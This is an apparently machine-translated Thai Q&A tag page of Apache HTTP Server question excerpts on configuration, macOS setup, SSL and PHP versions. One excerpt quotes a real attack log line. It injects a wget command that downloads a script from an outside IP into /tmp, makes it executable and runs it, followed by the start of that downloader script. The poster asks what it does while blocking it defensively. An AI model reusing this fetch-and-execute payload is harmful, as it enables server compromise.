คำถามติดแท็ก apache-http-server

Apache เป็นคำที่รู้จักกันอย่างกว้างขวางสำหรับเซิร์ฟเวอร์ Apache HTTP ซึ่งเป็นซอฟต์แวร์เว็บเซิร์ฟเวอร์ที่ใช้กันอย่างแพร่หลายซึ่งดูแลโดยมูลนิธิซอฟต์แวร์ Apache หากคำถามของคุณเกี่ยวกับซอฟต์แวร์ Apache อื่น ๆ เช่น Tomcat หรือ log4j http://stackoverflow.com/ เป็นตัวเลือกที่ดีกว่า


4
ฉันจะให้ Apache ติดตาม symlink ได้อย่างไร
ในโฟลเดอร์ apache www ของฉัน ( /var/wwwบน Ubuntu 10.10) ฉันมี: mydir -> /home/user/mydir (ที่ฉันสร้างด้วยln -s) ตอนนี้ถ้าฉันต้องการดูรายชื่อของไฟล์mydirจากเว็บฉันต้องให้อาปาเช่คำสั่งFollowSymLinksใช่ไหม? แต่ฉันจะวางไว้ที่ไหน? อยู่ใน.htaccessไฟล์? ที่ไหน? ฉันลองหลายวิธี แต่ไม่เข้าใจ ... นี่คือ/etc/apache2/sites-enabled/000-defaultไฟล์ของฉัน: <VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www <Directory /> Options FollowSymLinks Indexes AllowOverride None </Directory> <Directory /var/www/> Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all </Directory> …

6
ฉันจะเริ่ม apache ใน OSX Mountain Lion / Mavericks ได้อย่างไร
OSX Mountain Lion ลบ GUI สำหรับการแชร์เว็บ แต่ยังติดตั้ง Apache อยู่ ฉันจะเริ่มและหยุดบริการได้อย่างไร ฉันจะรับบริการเพื่อเปิดโดยอัตโนมัติเมื่อเริ่มต้นได้อย่างไร

4
เว็บเซิร์ฟเวอร์รู้ได้อย่างไรว่าคุณใช้การเข้าถึงที่อยู่ IP โดยตรง
เว็บเซิร์ฟเวอร์บางแห่งเมื่อเข้าถึงโดยใช้ที่อยู่ IP จะส่งคืนข้อผิดพลาดที่ไม่อนุญาตให้เข้าถึงที่อยู่ IP โดยตรง ฉันสงสัยบางครั้งว่ามันทำงานอย่างไร ฉันหมายความว่าเบราว์เซอร์ไม่สามารถแก้ไขที่อยู่ IP และเชื่อมต่อกับมันได้หรือไม่ ไม่ใช่ "การเข้าถึงที่อยู่ IP โดยตรง" แค่ข้าม DNS ใช่ไหม เซิร์ฟเวอร์ระยะไกลรู้ได้อย่างไรว่าคุณข้าม DNS

6
ข้อผิดพลาดการทดสอบ Apache Bench บน OS X:“ apr_socket_recv: การเชื่อมต่อรีเซ็ตโดยเพียร์ (54)”
ฉันอัปเดต MacBook Pro 13 "เป็น Lion เมื่อไม่กี่สัปดาห์ที่ผ่านมาฉันเพิ่งพบว่า Apache Bench (apache2.2.19) ไม่ทำงานมันจะแสดงข้อผิดพลาดนี้เสมอไม่ว่าจะเกิดอะไรขึ้น: apr_socket_recv: การเชื่อมต่อรีเซ็ตโดยเพียร์ (54) ฉันยังติดตั้งใหม่ทั้งหมดบน Mac Mini ของฉันและทำให้เกิดข้อผิดพลาดเดียวกัน ฉันจะแก้ไขสิ่งนี้ได้อย่างไร

6
ฉันจะหยุดบริการไม่ให้เริ่มการบูทบน Ubuntu ได้อย่างไร
ฉันมีเซิร์ฟเวอร์จำนวนมากที่ติดตั้งไว้ (Apache, MySQL, ฯลฯ ) แต่ฉันไม่ต้องการให้พวกเขาทั้งหมดเริ่มต้นตอนบูทเครื่อง (พวกเขาใช้พลังงานน้อยลง ฉันจะกำหนดค่านี้ได้อย่างไร

6
Apache Synapse คืออะไร
เว็บไซต์ของฉันยังคงโดนการร้องขอแปลก ๆ ด้วยสตริงตัวแทนผู้ใช้ต่อไปนี้: Mozilla/4.0 (compatible; Synapse) โดยใช้เครื่องมือที่เป็นมิตรของเราGoogleก็สามารถที่จะตรวจสอบนี้เป็นจุดเด่นโทรการ์ดของพื้นที่ใกล้เคียงเป็นมิตรของเราApache ไซแนปส์ A 'จริงจัง ESB (Enterprise Service Bus)' ตอนนี้จากข้อมูลที่ฉันสามารถรวบรวมได้ฉันยังคงไม่รู้ว่าเครื่องมือนี้ใช้สำหรับอะไร สิ่งที่ฉันสามารถบอกได้ก็คือมันมีส่วนเกี่ยวข้องกับบริการบนเว็บและรองรับโปรโตคอลที่หลากหลาย หน้าข้อมูลทำให้ฉันสรุปได้ว่ามันมีบางอย่างเกี่ยวกับพร็อกซีและบริการบนเว็บ ปัญหาที่ฉันพบคือในขณะที่ปกติฉันจะไม่สนใจเราได้รับผลกระทบค่อนข้างน้อยจาก IP ของรัสเซีย (ไม่ใช่ภาษารัสเซียที่ไม่ดี แต่เว็บไซต์ของเราค่อนข้างเฉพาะภูมิภาค) และเมื่อพวกเขาทำ กำลังเปลี่ยนค่า (ไม่ใช่ xss / ที่เป็นอันตรายอย่างน้อยยังไม่ได้) ลงในพารามิเตอร์สตริงการสืบค้นของเรา สิ่งที่ต้องการหรือ&PageNum=-1&Brand=25/5/2010 9:04:52 PM ก่อนที่ฉันจะไปข้างหน้าและปิดกั้น ips / useragent เหล่านี้จากเว็บไซต์ของเราฉันต้องการความช่วยเหลือในการทำความเข้าใจว่าเกิดอะไรขึ้น ความช่วยเหลือใด ๆ ที่จะได้รับการชื่นชมอย่างมาก :)

1
จะสร้างใบรับรอง SSL ได้อย่างง่ายดายและกำหนดค่าใน Apache2 ใน Mac OS X ได้อย่างไร?
ฉันต้องการใช้ Mac OS X ของฉันกับ https สำหรับการทดสอบการพัฒนาท้องถิ่น ฉันจะทำให้ Apache2 ตอบสนองต่อ ssl ได้อย่างง่ายดายเพียงเพื่อเสนอการทดสอบ - ฉันไม่ต้องการใบรับรองจริง ๆ แต่เป็นของปลอมเพื่อให้ https ท้องถิ่นทำงาน

2
สคริปต์ทุบตีนี้ทำอะไร? [พยายามแฮ็ก]
ฉันสังเกตเห็นเซิร์ฟเวอร์ของ apache บันทึกเมื่อไม่นานมานี้มีสายแปลก ๆ ดังต่อไปนี้: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" ดังนั้นฉันจึงสร้างตัวกรอง Fail2Ban ที่กำหนดเองและเริ่มแบนไอพีที่ร้องขอ URL /login.cgi เหล่านี้ แต่ฉันอยากรู้ว่าพวกเขาพยายามทำอะไรดังนั้นฉันจึงดึงสคริปต์ที่พวกเขาพยายามจะดำเนินการและฉันไม่สามารถเข้าใจได้ว่ามันทำอะไร มีบางอย่างเกี่ยวกับการลบโฟลเดอร์ arch ใน / var และ / tmp ใช่ไหม อย่างไรก็ตามนี่คือ: #!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name …

2
Apache 2.4 บน Windows ตอบสนองช้าค้างเมื่อให้บริการบางหน้าแบบไดนามิก
(ฉันรู้คำตอบสำหรับคำถามนี้โพสต์สิ่งนี้เพียงเพื่อแบ่งปันคำตอบกับชุมชน) ท้องถิ่นของฉัน (Windows 7) ตัวอย่างของ Apache 2.4 ประสบการณ์ความล่าช้าหรือแขวนอัพเมื่อให้บริการบาง URL ซึ่งขึ้นอยู่กับเบราว์เซอร์ที่ผมใช้ในการเข้าถึง URL ด้วย Firefox / Chrome ทำให้ Apache ช้าในการตอบสนองต่อ URL ที่แน่นอน ความเกียจคร้านเกิดขึ้นประมาณ 20% ของเวลาใน URL ที่กำหนด เมื่อเกิดขึ้นจะมีการล่าช้า 5 วินาทีในระหว่างที่ Firefox แสดงสถานะ "กำลังรอ ... " ด้วย Internet Explorer 9 Apacheจะหยุดและหยุดให้บริการการร้องขอใด ๆ (ด้วยเบราว์เซอร์ใด ๆ ) จนกว่าจะรีสตาร์ท สิ่งนี้ดูเหมือนว่าจะเกิดขึ้นเฉพาะกับคำขอแบบไดนามิก (PHP) แต่ไม่ใช่ทั้งหมด ในความเป็นจริงมันเกิดขึ้นในเว็บไซต์หนึ่งเท่านั้น เว็บไซต์ที่ใช้ PHP อื่น …

6
ฉันจะทราบได้อย่างไรว่าติดตั้ง Apache บนระบบหรือไม่?
คำถามนี้ถูกโยกย้ายจาก Stack Overflow เพราะสามารถตอบได้ใน Super User อพยพ 7 ปีที่ผ่านมา ฉันมี Linux Mint บนคอมพิวเตอร์ของฉัน แต่ฉันไม่รู้ว่าจะรู้ได้อย่างไรว่า Apache2 อยู่บนนั้นหรือที่ที่ติดตั้งจริง ฉันเรียกใช้เว็บเบราว์เซอร์ของฉัน (ติดตั้ง PHP) ด้วยhttp://localhostเป็น URL และใช้งานได้

6
ฉันต้องทำอย่างไรเพื่อให้ Raspberry Pi โฮสต์เว็บเพจที่มีแป้นหมุนซึ่งระบุอุณหภูมิของ CPU โหลด CPU ฯลฯ ตามเวลาจริง
ฉันทำได้ดีกับคำสั่ง Unix และการเขียนสคริปต์ แต่ฉันแทบไม่มีประสบการณ์บนเว็บเลย ฉันมีสคริปต์ที่จับตัวชี้วัดที่ฉันสนใจเช่นโหลด CPU หรืออุณหภูมิของระบบและอัปเดตไฟล์ทุก ๆ 10 วินาที ฉันต้องการชี้ iPad ของฉันไปยังเว็บไซต์ท้องถิ่นที่โฮสต์โดย Raspberry Pi ของฉันซึ่งมีการอัปเดตการแสดงข้อมูลกราฟิกแบบเรียลไทม์ ฉันทำงานก่อนตั้งค่าเว็บเซิร์ฟเวอร์ Apache อย่างง่ายและฉันสามารถเขียน HTML และ JavaScript ได้ นอกจากนั้นฉันหลงทางและต้องการใครสักคนชี้ให้ฉันในทิศทางที่ถูกต้อง

1
วิธีสร้างโดเมนย่อยบน virtualhost แบบใช้ชื่อ
ฉันมีชื่อที่ใช้โฮสติ้ง, my.address.comช่วยให้เรียกว่า เพื่อนของฉันมีที่อยู่ 'ธรรมดา' address.comและให้เครื่องเสมือนที่ฉันสามารถเข้าถึงผ่าน SSH นอกจากนี้เขายังทำมายากลบางคนที่มีพอร์ตและตอนนี้หลังจากที่ติดตั้ง Apache ฉันสามารถเข้าถึงผ่าน/var/wwwmy.address.com ดังนั้นคำถามคือฉันจะสร้างโดเมนย่อยได้test.my.address.comอย่างไร ควรมีเวทมนต์กับApache's Listen Directiveแต่ฉันไม่สามารถเข้าใจได้ นอกจากนี้ฉันรู้วิธีสร้างเว็บไซต์ที่มีในท้องถิ่นด้วย Apache แต่มันไม่เหมือนกัน

2
ทำไมเวอร์ชัน PHP แตกต่างกันใน phpinfo () และ CLI
ฉันรู้ว่ามีการจับคู่พลาดระหว่างเวอร์ชัน PHP ที่รายงานโดยphpinfo()และphp -v(ใน CLI) phpinfo(): 5.5.24 php -v: 5.6.9 ฉันกำลังทำงานกับ Mac OS X 10.10 (โยเซมิตี) และติดตั้งไลบรารี ( php-version) เพื่อพยายามจัดการเวอร์ชัน PHP มันรายงานว่าฉันติดตั้งแล็ปท็อปของฉัน 3 เวอร์ชันแตกต่างกัน 5.4.41 5.5.25 * 5.6.9 ฉันต้องการตั้งค่า PHP รุ่นเดียวกันทั้งใน Apache และ CLI ฉันจะบอก Apache ได้ว่าใช้ PHP เวอร์ชันไหน ฉันพยายามเขียนบรรทัดนี้ในhttpd.conf: LoadModule php5_module /usr/local/opt/php56/libexec/apache2/libphp5.so แล้ว: sudo apachectl restart แต่ทั้งหมดนี้ไม่ได้แก้ปัญหา ... ในข้อมูล …

2
เหตุใดเปอร์เซ็นต์การลงชื่อเข้าใช้ URL ทำให้เกิดข้อผิดพลาดคำขอ HTTP 400 ไม่ถูกต้อง
ฉันบังเอิญพบสิ่งนี้โดยบังเอิญเมื่อพิมพ์ URL ผิดพลาดสำหรับหน้าเว็บในเว็บเบราว์เซอร์ของฉัน ทำไมการเยี่ยมชมhttp://example.com/%ทำให้เกิดข้อผิดพลาด HTTP 400 คำขอไม่ถูกต้องถูกโยนทิ้ง เซิร์ฟเวอร์คาดหวังสิ่งอื่นหลังจากหรือก่อนเครื่องหมายเปอร์เซ็นต์หรือไม่ ดูเหมือนว่าจะเกิดขึ้นสำหรับเซิร์ฟเวอร์ Apache และ Nginx (เซิร์ฟเวอร์: cloudflare-nginx) /superuser//% (เซิร์ฟเวอร์: Apache) http://mozilla.org/%

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.